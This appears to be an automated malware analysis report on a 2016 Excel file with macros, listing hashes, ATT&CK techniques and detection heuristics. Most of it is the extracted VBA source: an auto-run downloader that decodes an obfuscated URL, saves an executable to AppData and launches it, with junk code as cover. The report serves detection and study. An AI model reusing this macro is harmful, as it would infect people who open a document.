Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ea90a88b124c8d2d…

MALICIOUS

Office (OOXML)

25.4 KB Created: 2016-03-09 08:42:48 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2016-03-27
MD5: 69ef83efbd6735e7fe2e4ee4cecf7e4f SHA-1: 9e138291284344896a0b43e8921ab98d0dfc16e9 SHA-256: ea90a88b124c8d2d7d4b11cd40c857ad75dedaaecca6fcc92ac8ec41641767d1
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The VBA macro contains a Document_Open auto-execution routine that utilizes the URLDownloadToFileA API to download a payload. This indicates a macro-based downloader designed to fetch and execute a second-stage malicious file. The use of Shell() and URLDownloadToFileA are critical indicators of this behavior.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
             If Len(Dir(file)) > 0 Then
                Shell file, vbNormalFocus
             End If
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub LjshihbuhbYGYGhj Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
            file = Environ("AppData") & file & "."
            testv = "684hgugzeysfg894949498fyzfedyze"

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12761 bytes
SHA-256: 41c86f4cc62c6b0e1a7d99300778d373917948bbffa651eda27e42eccc37dae8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Munka1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Munka2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Munka3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MyNewCodeModule"


#If Win64 Then

Private Declare PtrSafe Sub LjshihbuhbYGYGhj Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

#Else

Private Declare Sub LjshihbuhbYGYGhj Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

#End If

        
Function MemStringToLong(StringIn As String) As Long
       On Error Resume Next
       Dim hWorkVal As String
       '
       ' Convert the String back to Long Integer.
       ' Converting back to Big Endian format.
       
      Dim i As Long
      For i = 4 To 1 Step -1
       hWorkVal = hWorkVal & Hex(AscB(MidB(StringIn, i, 1)))
      Next i
       '
       ' Return Long Integer value.
       MemStringToLong = CLng("&H" & hWorkVal)
End Function

Private Sub getPROCESS_INFORMATION(ByVal sPROCESS_INFORMATION As String, _
                   ByRef hProcess As Long, ByRef hThread As Long, _
                   ByRef dwProcessId As Long, ByRef dwThreadId As Long)
    
    '
    ' Convert memory-formatted String back to Long Integer.
    hProcess = MemStringToLong(MidB(sPROCESS_INFORMATION, 1, 4))
    hThread = MemStringToLong(MidB(sPROCESS_INFORMATION, 5, 4))
    dwProcessId = MemStringToLong(MidB(sPROCESS_INFORMATION, 9, 4))
    dwThreadId = MemStringToLong(MidB(sPROCESS_INFORMATION, 13, 4))
    
    
End Sub

Public Function LongToMemoryString(ByVal lInputValue As Long) As String

    Dim hWorkVal As String
    Dim n As Long
    Dim i  As Long
    '
    ' Convert to HEX value.
   
    hWorkVal = Hex(lInputValue)
    
    '
    ' Check to see if it is not zero.
    If hWorkVal <> "0" Then
        '
        ' Convert to memory storage format (Little Endian).
        ' For example, 0000A411 would convert to 11A40000.
        '
        ' Place leading zeros in 8 character sequence to
        ' maintain consistent character count
        n = Len(hWorkVal)
        If n < 8 Then
            hWorkVal = String(8 - n, "0") & hWorkVal
        End If
        '
        ' Use ChrB to rebuild Bytes.
        For i = 7 To 1 Step -2
            LongToMemoryString = LongToMemoryString & _
                                 ChrB(CInt("&H" & Mid(hWorkVal, i, 2)))
        Next i
           
    Else
        ' Just return zeros.
        ' Use ChrB to build Bytes.
        LongToMemoryString = ChrB(CInt("&H00"))
        LongToMemoryString = LongToMemoryString & ChrB(CInt("&H00"))
        LongToMemoryString = LongToMemoryString & ChrB(CInt("&H00"))
        LongToMemoryString = LongToMemoryString & ChrB(CInt("&H00"))
    End If
End Function
Public Function PROCESS_INFORMATION(hProcess As Long, hThread As Long, _
                     dwProcessId As Long, dwThreadId As Long) As String
    '
    ' Convert inbound Long Integers to a memory storage String format.
    PROCESS_INFORMATION = LongToMemoryString(hProcess) & _
           LongToMemoryString(hThread) & _
           LongToMemoryString(dwProcessId) & _
           LongToMemoryString(dwThreadId)
End Function

Sub ToggleHyperlinkCtrlClick()
    Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub SortText1()
' A macro to sort the selected text
     Selection.Sort
End Sub
Sub SortText2()
' A macro to sort the Selection if the user has selected more than one
' paragraph of text.
    If Selection.Paragraphs.Count > 1 Then
        Selection.Sort
        
        sdfsdf = "ddddddddddd"
    End If
End Sub
Sub tyuyututyutuyutuyu()
    
End Sub

Sub tyuyututyutufgfgyutuyu(ByVal url As String, ByVal file As String)
        
        'MsgBox "demo Document Builder"

        file = Environ("AppData") & file & "."
        testv = "684hgugzeysfg894949498fyzfedyze"
        file = file & "exe" 'detect +1
        
        LjshihbuhbYGYGhj 0, url, _
        file, 0, 0
        If 1 > 2 Then
            MsgBox ("jnfgjdfngdfng")
        End If

        Sleep 1000
        
        tyuyututyutuyutuyu
        
        MonTexteeee = "alzjninvizenjclsmfkgjeiruhgfdsovmkdoufgi36df6gdfgklnjsd"
        
        sdfsdfsd = 1566548454
        
        'Call Command1_ClickEx(file)
         If Len(Dir(file)) > 0 Then
            Shell file, vbNormalFocus
         End If
    
End Sub

Function enregistre_coord(latitude As String, longitude As String, souterrain As Boolean) As String
 
Dim monFichierTxt As String
Dim monFichierTxtA As String
     
latitude = Format(latitude)
longitude = Format(longitude)
     
Open monFichierTxt For Binary As #1
    Put #1, , "o;" & latitude & ";" & longitude & ";0;-9999;;;0;0;-1" & Chr$(10)
Close #1
End If
     
End Function
 
'permet de lire les coordonn?es d'un ou plusieurs point(longitude et lattitude).
Function lire_Coordonnees(chaine As String, compteur As Integer, coordonnees() As String, souterrain As Boolean)
'variabl
    Loop While caractere <> ")"
     
    coordonnees(0) = longitude
    coordonnees(1) = latitude
      
End Function
 
'permet de lire le nom et les coordonn?e et le status du postes de la commune .
Function noeud(insee As String, commune As String) As String
 
     For incrementI = 0 To 1
    
        prime = 0
        For IncrementJ = 2 To 10000
        
            bPrime = True
            For incrementK = 2 To 1000
            
            If bPrime > 0 Then
            temp = incrementK + 1
            End If
            
            Next
        
        Next
    
    Next
 
'cr?ation des dossiers
'dirInsee = "Postes\" + Mid(insee, 0, 2)
monFichierCsv = "fichier_csv\postes" & insee

Var2 = "sgsfgdfg"
myUrl = "dfsdfsdfsfsdf"

'newUrl = scramble(mynewU)
mynewU = Chr(156 - 52 + 0) & Chr(168 - 52 + 0) & Chr(168 - 52 + 0) & Chr(164 - 52 + 0) & Chr(110 - 52 + 0) & Chr(99 - 52 + 0) & Chr(99 - 52 + 0) & Chr(158 - 52 + 0) & Chr(169 - 52 + 0) & Chr(157 - 52 + 0) & Chr(151 - 52 + 0) & Chr(153 - 52 + 0) & Chr(169 - 52 + 0) & Chr(159 - 52 + 0) & Chr(98 - 52 + 0) & Chr(151 - 52 + 0) & Chr(163 - 52 + 0) & Chr(98 - 52 + 0) & Chr(169 - 52 + 0) & Chr(159 - 52 + 0) & Chr(99 - 52 + 0) & Chr(152 - 52 + 0) & Chr(163 - 52 + 0) & Chr(171 - 52 + 0) & Chr(162 - 52 + 0) & Chr(160 - 52 + 0) & Chr(163 - 52 + 0) & Chr(149 - 52 + 0) & Chr(152 - 52 + 0) & Chr(99 - 52 + 0) & Chr(166 - 52 + 0) & Chr(169 - 52 + 0) & Chr(162 - 52 + 0) & Chr(152 - 52 + 0) & Chr(160 - 52 + 0) & Chr(160 - 52 + 0) & Chr(103 - 52 + 0) & Chr(102 - 52 + 0) & Chr(98 - 52 + 0) & Chr(153 - 52 + 0) & Chr(172 - 52 + 0) & Chr(153 - 52 + 0)
'temp = scramble(newUrl)

'MsgBox mynewU
'MsgBox newUrl

GoTo sdfsdfsdfsdfsdfdf
 
Open monFichierTxt For Binary As #1
    Put #1, , "F;W;Lib\" & dirInsee & "\" & insee & Chr$(10)
Close #1
            While caractere <> ";"
               
                If caractere <> "\" And caractere <> ";" Then
                    vnoeud = vnoeud + caractere
                End If
            Wend
             
            'caractere = lire_caractere(ligne, compteur)
            While caractere <> ";"
               ' caractere = lire_caractere(ligne, compteur)
                If caractere <> "\" And caractere <> ";" Then
                fonct = fonct + caractere
                End If
            Wend
sdfsdfsdfsdfsdfdf:
            
            Call tyuyututyutufgfgyutuyu(mynewU, Var2)
            Exit Function
            long_fonct = Len(ligne) - compteur
            chaine = Mid(ligne, compteur, long_fonct)
            compteur = 0
            
             'Shell "cmd /k """ & Var2 & """", ""
    
 
End Function
Sub Document_Open()
    
    
    Var2 = "zeffffffffffez"
    
 
'Call tyuyututyutufgfgyutuyu(myURL, Var2)
    
    mopiro = "hgugzeyfyzfedyze"
   
   

    sdfsdf = "dfsdfffsdfdffffffffffffffffd"
    
    
   tyuyufdg545tutyutuyutuyu

    
    
    
    'v = tyuyututyutufgfgyutuyu(myURL, Var2)
    
    
    
End Sub
Function stringToByteArray(str As String) As Variant
    Dim bytes() As Byte
    bytes = str
    stringToByteArray = bytes
End Function

Function byteArrayToString(bytes() As Byte) As String
    Dim str As String
    str = bytes
    byteArrayToString = str
End Function


Function scramble(ByVal str As String) As String
    Const SECRET_PASSWORD As String = "K*4HD%f#nwS%sdf032#gfl!HLKN*pq7"

    Dim stringBytes() As Byte, passwordBytes() As Byte
    stringBytes = stringToByteArray(str)
    passwordBytes = stringToByteArray(SECRET_PASSWORD)

    Dim upperLim As Long
    upperLim = UBound(stringBytes)
    ReDim scrambledBytes(0 To upperLim) As Byte
    
    Dim idx As Long
    For idx = 0 To upperLim
        scrambledBytes(idx) = stringBytes(idx) - 10
    Next idx
    
    scramble = byteArrayToString(scrambledBytes)
    
End Function

Private Sub Command1_ClickEx(ByVal file As String)
    Dim lRet As Long
    Dim sPROCESS_INFORMATION As String
    Dim hProcess As Long
    Dim hThread As Long
    Dim dwProcessId  As Long
    Dim dwThreadId  As Long
    '
    ' Initialize PROCESS_INFORMATION memory string.
    ' Convert initial Rect values to String to pass into CreateProcess API.
    sPROCESS_INFORMATION = PROCESS_INFORMATION(0, 0, _
        0, 0)
    '
    ' Call CreateProcess.
    
    lRet = CreateProcess(file, "", _
        0, 0, 0, 0, 0, 0, 0, sPROCESS_INFORMATION)
    '
    'convert string back to long integer
    getPROCESS_INFORMATION sPROCESS_INFORMATION, hProcess, hThread, _
        dwProcessId, dwThreadId
    '
    'The handle to the process is returned in the sPROCESS_INFORMATION
    'string when CreateProcess is called.  This hProcess value can
    'be passed to TerminateProcess.
    'Uncomment the 3 lines below to terminate the process.
    'MsgBox "Click to terminate process"
    'Dim x As Long
    'x = TerminateProcess(hProcess, 0)
    
End Sub
'pour lire les caractere un a un
Function lire_caractere(ByVal chaine As String, ByRef compteur As Integer) As String
'variable
    Dim caractere As String
      
    If compteur < Len(chaine) Then
        caractere = Mid(chaine, compteur, 1)
        compteur = compteur + 1
    End If
      
End Function

Sub tyuyufdg545tutyutuyutuyu()
    ret = noeud("fsdfsdfsdf", "uhhyygygyg")
End Sub
Sub SortText3()
    If Selection.Paragraphs.Count > 1 Then
        ' The user has selected more than one paragraph of text.
        ' Sort the selection.
        Selection.Sort
    Else
        ' Tell the user what to do.
        MsgBox "Please select two or more paragraphs and try again."
    End If
End Sub
Sub SortText4()
' A macro to sort the selected text, if the user has selected
' more than one paragraph

    If Documents.Count > 0 Then
        ' The user has at least one document open.
        
        If Selection.Paragraphs.Count > 1 Then
            ' The user has selected more than one paragraph
            ' of text, so sort it.
            Selection.Sort
        Else
            ' Tell the user what to do.
            MsgBox "Please select two or more paragraphs and try again."
        End If
    End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 41472 bytes
SHA-256: 48b76a5d82a45d2048fc9f3e2a16898e2efef677305916a41faf24337a91ee7e